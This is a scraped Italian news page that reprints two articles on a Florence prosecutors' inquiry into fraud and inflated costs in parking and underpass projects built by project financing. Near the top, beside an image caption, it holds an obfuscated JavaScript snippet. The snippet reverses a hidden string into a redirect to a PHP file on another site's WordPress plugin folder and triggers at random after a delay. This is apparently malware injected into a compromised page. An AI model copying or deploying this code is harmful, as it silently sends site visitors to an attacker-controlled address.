Parcheggi altri nove indagati per associazione a delinquere, truffa aggravata, concussione

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/04/piazzalabertipark.jpg”>Il parcheggio di Piazza Alberti
Il parcheggio di Piazza Alberti

di Simone Innocenti

Si allarga l’inchiesta della procura su presunte truffe ai danni del Comune per la costruzione del sottopasso di viale Strozzi, vicino alla Fortezza da Basso. Le altre opere finite nel mirino degli investigatori sono i parcheggi di piazza Beccaria, della Fortezza e di piazza Alberti, oltre ad altre 8 aree di sosta. Per l’accusa sono state commesse irregolarità per favorire le imprese. Gli indagati sono nove: tra di loro ci sono anche tecnici. Lo si è appreso durante un’udienza che ieri è stata aggiornata al 5 luglio, per unificare i due filoni d’inchiesta.

Più di cento miliardi delle vecchie lire per undici opere costruite col project financing ma al di fuori di questo «strumento finanziario». Sono questi i numeri reali dell’inchiesta coordinata dai pm Gianni Tei e Giulio Monferini che adesso hanno allargato l’inchiesta. Lo si evince proprio dall’avviso conclusione di indagini, che è stato depositato ieri al Tribunale, che ha fatto slittare l’udienza al 5 luglio, quando saranno unificati in un unico fascicolo i filoni dell’inchiesta.

Gli indagati salgono così da 4 a 9 e la Procura ipotizza— a vario titolo — i reati di associazione a delinquere, truffa aggravata, concussione e abuso di ufficio. Non soltanto la truffa, quella che era stata ipotizzata in un primo momento per Gaetano Di Benedetto, responsabile unico del procedimento di tutte le opere del project per conto del Comune; Vincenzo Di Nardo, ex presidente di Firenze Mobilità, società che sta realizzando il project. I magistrati fiorentini, che disegnano un teorema investigativo ben preciso, mettono sotto accusa Giorgio Formigli e Mario Pasquini di Project Costruzioni, società formata da una serie di imprese (anche la Btp), che ha costruito le opere, Carlo Volpi, anche lui di Projet Costruzioni, Luigi Di Renzo, ex amministratore delegato di Firenze Parcheggi, Paolo Di Nardo, progettista della Arx, Filippo Battaglia, consulente della Project Management e la progettista Alessandra Ciullini. Non sono i soli, perché la Procura ipotizza anche il ruolo di «persone al momento ignote».

Tutto ruota attorno a una serie di documenti ritenuti poco chiari: verbali di ricognizione, l’aumento dei prezzi o la riduzione dei costi di alcune opere e anche varianti. Meccanismi messi in piedi per far sì che i membri della giunta — i fatti si riferiscono dal 2003 a oggi— approvassero i pagamenti. Secondo la Procura questi documenti, acquisiti durante le indagini, provano che il concessionario avrebbe fatto esclusivamente fronte con la gestione delle cosiddette «opere a caldo» per 27 anni e avrebbe terminato l’investimento delle cosìdette «opere a freddo» in cinque anni. Ma così non è stato, sostengono i magistrati, perché— in linea generale — la gestione delle opere è di 30 anni invece di 27, non c’è stato alcun ribasso sulle tariffe dei parcheggi.

Non solo: il Parco della Mensola non è stato realizzato, come pure il lotto 0 Ataf e anche il parheggio a «raso» dell’aeroporto di Peretola. In particolar modo, sempre secondo l’accusa, il sottopasso di viale Strozzi è stato collaudato con 26 mesi di ritardo mentre in piazza Alberti si è costruito con errori di progettazione. Sono state commesse irregolarità urbanistiche nella realizzazione del complesso multifunzionale di piazza Alberti. Per quanto riguarda il parcheggio e la stazione ricarica bus di viale Aleardi la magistratura sospetta errori di progettazione e irregolarità che riguardano la normativa antisismica.

Agli atti dell’inchiesta compaiono anche delle tabelle di costi alterare per l’approvazione di una variante del parecheggio interrato di piazza Alberti. E sotto la lente d’ingrandimenti dei pubblici ministeri è finito pure un business plan— datato dicembre 2003 — che non corrisponde ai dati. Che risultano invece dagli studi interni effettuati dai tecnici che avevano valutato la convenienza economica da parte del Cda per gestire i parcheggi della Fortezza, di piazza Caduti dei Lager, di piazza Beccaria e di piazza Alberti. Il perché di questo meccanismo, secondo i pm, è chiaro: Luigi Di Renzo, Vincenzo Di Nardo e Paolo Di Nardo — chiamati in causa proprio per questo aspetto della vicenda — avevano come obiettivo quello di addossare a Firenze Parcheggi spa, socio gestore, tutti i costi di realizzazione in modo da annullare ogni rischio delle imprese, capeggiate dalla Baldassini-Tognozzi-Pontello.

Al momento, il Comune si è costituito parte civile con l’avvocato Federico Bagattini, mentre gli indagati sono difesi dagli avvocati Sara Gennai, Alessandro Traversi e Nino D’Avirro. Renzo Ventura e Patrizia Polcri, che difendono Carlo Volpi, legale rappresentante della Project Costruzioni, dicono che «il capo di imputazione, pur nella sua lunghezza, è generico e privo di dettagliate e soggettive contestazioni: si concretizza in una mera trasposizione delle valutazioni dei consulenti tecnici del pm, Turrin e Campedelli, che non è idonea a individuare gli elementi indizianti dei reati contestati». Proprio per questo motivo «l’ingegnere Volpi è certo di poter chiarire, fino dalla prima udienza, la sua posizione», concludono i due legali.

Questo materiale andrà a finire nell’inchiesta della Corte dei Conti, che per prima si era occupata dei presunti sprechi che riguardano alcune opere costruite col project financing. Non a caso imagistrati usano un termine ben preciso: danno all’amministrazione comunale. Materia, questa, che diventa di pertinenza della magistratura contabile.

Fonte Corriere Fiorentino

***

La storia del Project. Un sistema lanciato in soli cinque mesi
di Massimo Vanni

Chiuse le indagini sul Project financing con 11 gli indagati. Secondo l´accusa nella costruzione dei parcheggi della Fortezza, ma anche delle piazze Caduti dei Lager, Beccaria, Alberti e poi Ghiberti e aeroporto (che del project non facevano parte) ci sarebbero stati aumentati «artificiosi dei prezzi» e prospettive di redditività gonfiate dei posteggi per aumentare il profitto di Firenze Mobilità a danno del Comune.

Era il primo tentativo di collaborazione tra pubblico e privato: «Realizzare le opere pubbliche che servono con i capitali privati», fu allora la parola d´ordine. Cioè il parcheggio sotterraneo della Fortezza, quello in silos di piazza Alberti, quello sotterraneo di piazza Beccaria e il sottopasso davanti alla Fortezza. Ma anche la stazione di ricarica dei bus elettrici in viale Ariosto, la passerella pedonale di collegamento con l´aeroporto e anche la realizzazione del Parco del Mensola.

Tutto questo comprendeva il «project» presentato da Firenze Mobilità, la società formata dai costruttori (Baldassini & Tognozzi, Cpf, Fratelli Ragionieri, Siem, Impresa costruzioni Rosso, Icet industrie, Cite, Cofathec servizi, Cosimo Pancani) e dai soci gestori (Aeroporto di Firenze, Coop Unica, Firenze Parcheggi, Scaf, Servizi di promozione della Confesercenti). Così cominciò il «project». Solo che strada facendo molte cose sono cambiate. Il «project» è cominciato in un modo e, con l´assenso di Palazzo Vecchio, è finito in un altro: il Parco del Mensola aspetta di essere realizzato, la passerella pedonale non c´è ancora. Il sottopasso della Fortezza era stato concepito per il solo trasporto pubblico, perché il traffico privato avrebbe dovuto passare per intero sul lato Romito della Fortezza. Tanto che con i soldi di Ferrovie furono realizzati due «buchi» sotto la ferrovia sul lato Romito: uno per ogni senso di marcia.

Il sottopasso è diventato invece misto: bus e auto private. Con tanti saluti alla stazione per i bus che era stata prevista nel bel mezzo del sottopasso. Senza contare poi il piano cancellato del parcheggio della Fortezza: «La falda avrebbe comportato costi insostenibili», fu la spiegazione. Possibile che nessuno se n´era accorto prima di cominciare gli scavi? Dopo un primo blocco ordinato dalla soprintendenza, nel 2005 fu lo stesso sindaco Leonardo Domenici ad ordinare la modifica del progetto in corso d´opera sull´onda della protesta dei Comitati, scandalizzati da un parcheggio che avrebbe coperto la vista delle mura.

Iniziato in un modo, finito in un altro. Ma non solo: il piano finanziario del «project» si è rivelato un colosso con i piedi d´argilla. Recenti perizie dimostrano che la proposta iniziale del «project» si basava su un calcolo sbagliato circa l´incasso dei parcheggi: il tasso di utilizzazione previsto per piazza Alberti era uguale a quello del parcheggi di piazza Stazione. Un non-sense: Alberti resta infatti praticamente vuoto. E la Firenze Parcheggi, rimasta nel frattempo l´unica società di gestione, non incassa abbastanza per pagare l´affitto ai costruttori. Sono gli anni del deficit e «della socializzazione delle perdite». Gli anni dei contenziosi tra Comune e Firenze Mobilità: tra l´assessore alle Spa Tea Albini e il presidente Vincenzo Di Nardo. Contenziosi tardivi.

Fonte Repubblica

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *